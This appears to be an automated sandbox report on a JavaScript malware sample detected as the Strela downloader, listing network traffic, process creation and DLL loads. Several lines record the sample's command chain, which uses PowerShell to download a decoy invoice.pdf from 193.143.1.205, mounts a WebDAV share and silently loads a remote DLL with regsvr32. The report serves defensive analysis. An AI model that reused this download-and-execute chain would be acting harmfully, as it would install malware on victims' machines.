
Source: global traffic

TCP traffic: 192.168.2.9:49771 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.9:49757 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000001.00000003.1360926352.000001A3AE385000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1447711148.000001B6FE2AC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1447527458.000001B6FE278000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.1443944613.000001B6FE2AC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1447711148.000001B6FE2AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/o
Source: svchost.exe, 00000009.00000002.2647467935.00000113BFA00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1443810413.00000113BF890000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6260, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2937924646314313784.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6516:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z23iilbk.0tq.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2937924646314313784.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1640,i,2171901814565979795,15215891352150739102,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\91193133714716.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1640,i,2171901814565979795,15215891352150739102,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
